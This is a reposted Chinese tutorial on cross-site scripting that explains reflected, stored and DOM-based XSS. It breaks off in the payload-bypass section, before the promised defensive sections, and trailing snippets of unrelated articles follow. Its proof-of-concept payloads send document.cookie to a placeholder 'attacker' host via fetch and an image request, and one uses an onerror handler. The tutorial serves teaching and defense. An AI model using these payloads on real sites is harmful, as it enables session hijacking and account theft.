详细介绍:深入浅出 XSS — 从原理到实战与防护

news/2025/9/29 19:44:57/文章来源:https://www.cnblogs.com/yxysuanfa/p/19119398

把 XSS 当成“网页里的恶作剧”,但这类恶作剧能偷走你的钥匙(Cookie)、冒充你转钱、把你的网页变成攻击工厂。本文既讲清楚原理,又给出生动示例与工程化防护清单,方便开发者、测试人员和安全入门者实操使用。

目录(快速导航)

1. XSS 是什么(一句话 + 比喻)

2. 三类 XSS:工作机制与真实场景(图像化理解)

2.1 反射型(Reflected XSS) — “回声里的陷阱”

2.2 存储型(Stored XSS) — “树上挂着的炸弹”

2.3 DOM 型(DOM-based XSS) — “前端的盲区”

3. 攻击演示(一步步可复现 PoC,建议在本地测试环境中执行)

3.1 反射型 PoC(简洁)

3.2 存储型 PoC(评论区)

3.3 DOM 型 PoC(hash-based)

4. 常见 Payload 与绕过技巧(为什么直白 payload 有时无效)

5. 自动化与手工检测流程(实践型清单)

5.1 检测思路(先易后难)

5.2 推荐工具

6. 工程化防护(分层防御 + 代码示例)

6.1 总体防护策略(AAA:Validate → Encode → Policy)

6.2 具体代码示例(常用语言)

后端通用:HTML 转义函数(伪代码)

Node.js + Express(推荐做法)

PHP(示例)

Java(Spring MVC)

前端安全实践(避免内联写入)

6.3 内容安全策略(CSP)示例

6.4 Cookie 设置

6.5 前端框架与模板引擎

7. 修复优先级与应急响应(实战导向)

7.1 如何快速减缓风险(短期)

7.2 长期修复(系统化)

7.3 事故响应要点

8. 检查表(开发 / 测试 / 运维 三方共用)

开发(编码时)

测试(发布前)

运维(上线后)

9. 附录:实用函数与示例合集

HTML 转义(JavaScript)

安全插入文本(前端)

使用 DOMPurify 清洗 HTML(当必须渲染富文本时)

结语(总结与行动点)


1. XSS 是什么(一句话 + 比喻)

XSS(Cross-Site Scripting)就是有人在你的网站上偷偷贴了一张写着“把钱包交出来”的纸条,浏览器看见纸条就按上面的指令去做。
比喻拆解:网站 = 房子;网页 = 房间里的画;用户输入 = 访客写的留言条;浏览器 = 屋里的管家;当留言条里藏了命令(脚本),管家(浏览器)照做了,灾难就发生了。

要点:XSS 的“力量”来自浏览器对脚本的自动执行权限——脚本可以读写页面、发网络请求、访问非 HttpOnly 的 cookie、模拟用户行为。


2. 三类 XSS:工作机制与真实场景(图像化理解)

2.1 反射型(Reflected XSS) — “回声里的陷阱”

工作机制:恶意脚本随请求参数到达服务器,服务器直接把它“原样”写回响应,浏览器渲染并执行。
图像化:类似有人对着回声谷喊一句话,回音把那句话直接还回来并被其他人听到——但这次回音是个命令。
典型场景:搜索结果页、错误页面(如 ?error=...)、重定向中间页、某些 API 将参数内联在 HTML 中。
触发方式:用户点击钓鱼链接或打开包含恶意参数的 URL。
示例 URL(PoC)

http://example.com/search?q=<script>alert('xss')</script>

2.2 存储型(Stored XSS) — “树上挂着的炸弹”

工作机制:攻击者把脚本存进数据库、评论、用户资料等持久化位置;每次有人访问受影响页面,脚本都会被取回并执行。
图像化:像有人在公园的树上钉了个炸弹,任何人靠近都会触发。
危害:影响面大、持久性强,常被用于大规模传播(蠕虫式)。
典型场景:论坛帖子、博客评论、商品描述、用户签名、内部公告系统。

2.3 DOM 型(DOM-based XSS) — “前端的盲区”

工作机制:页面前端 JS(而非服务器)从 location, hash, document.referrer, postMessage 等读取不可信数据,并通过不安全的 DOM API(如 innerHTML)插入页面,从而触发脚本执行。
图像化:像屋内的管家自己相信了纸条内容并据此改了房间布置,根本不经过房主(服务器)确认。
关键点:服务器看起来“干净”,但前端逻辑有漏洞。
示例(不安全写法)

 
<script> // 不安全:直接把 hash 写入 innerHTML document.getElementById('output').innerHTML = location.hash.slice(1); </script>

3. 攻击演示(一步步可复现 PoC,建议在本地测试环境中执行)

警告:下列 PoC 仅用于学习与测试,不得在未授权的系统上使用。

3.1 反射型 PoC(简洁)

在一个返回 q 参数到页面的搜索页里:

<!-- 服务器端直接输出 q 参数到页面 --> <div id="result"> Search result: <?php echo $_GET['q']; ?> </div>

访问:

http://localhost/search.php?q=<script>fetch('http://attacker/steal?c='+document.cookie)</script>

浏览器加载并执行脚本,cookie 发送到攻击者服务器。

3.2 存储型 PoC(评论区)

后端接受评论并入库,前端渲染未做转义:

<!-- 用户A留下评论 --> POST /comment { "content": "<script>new Image().src='http://attacker/+'+document.cookie</script>" }

任何浏览该评论页面的用户都会触发该脚本。

3.3 DOM 型 PoC(hash-based)

index.html:

<p id="msg"></p> <script> // 直接把 URL 的 hash 作为 HTML 写入 document.getElementById('msg').innerHTML = location.hash.slice(1); </script>

访问:

http://localhost/index.html#<img src=x onerror=alert(document.cookie)>


4. 常见 Payload 与绕过技巧(为什么直白 payload 有时无效)

简单 payload(<script>alert(1)</script>)常被识别和过滤。攻击者会通过以下方式绕过防护:

  • 编码:URL 编码、HT

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/922192.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

房屋在线设计网站个人网站怎么做打赏

我叫白天涯&#xff0c;来自计科13-1班。 首次使用这个博客园发表随笔&#xff0c;请大家多多关照。 本次软件工程课我希望能好好听讲&#xff0c;认真做课堂记录&#xff0c;不会的及时问老师&#xff0c;以及跟同学沟通&#xff0c;尽管我计算机这方面不是太精通&#xff0c;…

vxe-table 数据量过大时切换空白

vxe-table 数据量过大时切换空白问题 vxe-table单页数据超过100条时,切换页签会导致表格区域出现空白。此时滚动鼠标,数据会重新出现。 解决 给 vxe-table 标签上添加 :scroll-y="{ gt: -1 }"即可禁用虚拟…

复刻江协旋钮控制模块

复刻江协旋钮控制模块 1、初始化硬件 OLED初始化这里就不展开细讲了,可以看我之前的帖子复刻江协激光触发器旋钮初始化使能外部中断模式改为上拉根据旋钮接口接上线2、操作代码 (1) 初始化输出定义全局变量count,并初…

做自行车车队网站的名字展厅搭建公司

一、引入 在没有遇见mapstruct的时候&#xff0c;实现各个实体之间的转换&#xff0c;都是手动转换实现的&#xff0c;属性少一带你还好&#xff0c;当属性一多&#xff0c;代码就会变得很冗余&#xff0c;没必要的非逻辑的代码就会加多。。。。 比如&#xff1a; public cl…

Linux 基础IO与系统IO - 实践

Linux 基础IO与系统IO - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

从零开始,使用Idea工具搭建一个springboot项目

一,搭建之前准备 搭建之前先确保本机已正确安装JDK,Maven,IDEA。 以下是我的配置: OpenJDK 17 Maven 3.9.11 IDEA 2025 二,开始搭建1,打开Idea工具,File->New-> Project...2,左边选择“Spring Boot"…

最优/极值问题的算法选择

如何选择滑动窗口、二分、动态规划算法 刷leetcode时对于一些最优/极值问题往往不知采用哪一种算法,故借助大模型学习一些算法要点。1. 滑动窗口(Sliding Window) 特点适用于 数组 / 字符串 的 连续子区间 问题。 目…

珠海的门户网站有哪些深圳地址大全

ScottPlot是一款简单易用、高度定制、性能卓越的.NET绘图库&#xff0c;支持跨平台操作。除提供标准图表类型外&#xff0c;还支持交互式操作&#xff0c;呈现生动的数据展示。在工厂数字化系统中&#xff0c;可用于生产数据可视化、设备监测和质量控制。无论用于科学研究、数据…

网站开发和推广方案永康市建设银行网站查询

PHP程序的调试一直是一件让人头疼的事&#xff0c;它既不像VB等高级语言那样有集成的编译调试环境&#xff0c;也不想Perl那样可以在Linux或者DOS环境下直接运行。其实&#xff0c;我们完全可以通过灵活地使用echo语句来完成对PHP的调试工作。下面的几个函数可以让你随时查看程…

梁山网站建设多少钱wordpress文章末尾添加内容

前言 有时遇到这样的需求&#xff0c;就是在表格里面嵌入一个表格&#xff0c;以及要求带有分页&#xff0c;这样在ElementPlus中很好实现。以下使用Vue2语法实现一个简单例子&#xff0c;毕竟Vue3兼容Vue2语法&#xff0c;若想要Vue3版本例子&#xff0c;简单改改就OK了。 一…

外贸建站wordpress昆山网站建设jofuns

以下内容整理于Linux字符设备驱动剖析&#xff0c;如有侵权请告知删除 。 一、应用层的程序 应用程序一般都是open打开设备文件&#xff0c;read、write、ioctl设备文件&#xff0c;最后close设备文件退出。 int main(int argc ,char *argv[]) { unsigned char val[1] 1; …

第三方控件库的添加和使用

添加把第三方控件库先复制到根目录下 ,也就是Debug 的目录下然后再拖到工具箱的空白处下就可以了使用 和之前的控件使用相同 ‍

实用指南:基于 HTML、CSS 和 JavaScript 的智能图像灰度直方图匹配系统

实用指南:基于 HTML、CSS 和 JavaScript 的智能图像灰度直方图匹配系统2025-09-29 19:20 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: au…

C4NR PVP服务器1.2 天穹炮塔更新

C4NR PVP服务器1.2 天穹炮塔更新 更新内容在风弹获得处增加了一个建筑,可以使用风弹上去。上面是一个放置压力板的一个平台。踩压力板会获得20点风弹伤害并且生成一个风弹。玩家可以通过向指定方向攻击风弹来控制风弹…

树形dp [JOI Open 2020] 发电站 / Power Plant

作为最强摸鱼人的 BaiBaiShaFeng,这个题解也是发到洛谷上了,希望给过。 先辈们说的太简略了我感觉有点难懂,虽然我的表达能力很弱,估计强不了多少。 注:参考过网上零散题解。 题意很好理解,我们就不过多叙述了。…

深入解析:灵画-AI绘画小程序

深入解析:灵画-AI绘画小程序pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco"…

AT_arc156_b [ARC156B] Mex on Blackboard

首先枚举你花 \(i\) 次操作可以搞到的最大值是什么,然后你剩下的集合就随便取,只要取不超过 \(k - i\) 个即可,用插板法很容易做。

实用指南:CAN邮箱深度解析:从硬件架构到实战应用

实用指南:CAN邮箱深度解析:从硬件架构到实战应用pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas"…

产品排序

考虑区间 $dp$。设 $f_{i,j}$ 表示处理 $[i,j]$ 最小的总惩罚值。分类: - 产品 $i$ 第一个出栈,则有 $f_{i,j}=t_i\times sd_{i,j}+f_{i+1,j}$ - 产品 $i$ 第 $k$ 个出栈,则有 $f_{i,j}=f_{i+1,k}+f_{k + 1,j}+st_{…

众包网站开发网站建设录哪个科目

先拆成链的情况来看。 设B[i]表示i要向i1拿糖果的数量&#xff0c;C为平均数&#xff0c;则B[i] C - A[i] B[i-1] Answer就是B的绝对值之和 现在来看环的情况&#xff0c;也就是说B[n]指的是n要向1拿糖果的数量。不妨设B[n]为K&#xff0c;则B[1] C - A[1] K………… 照着式…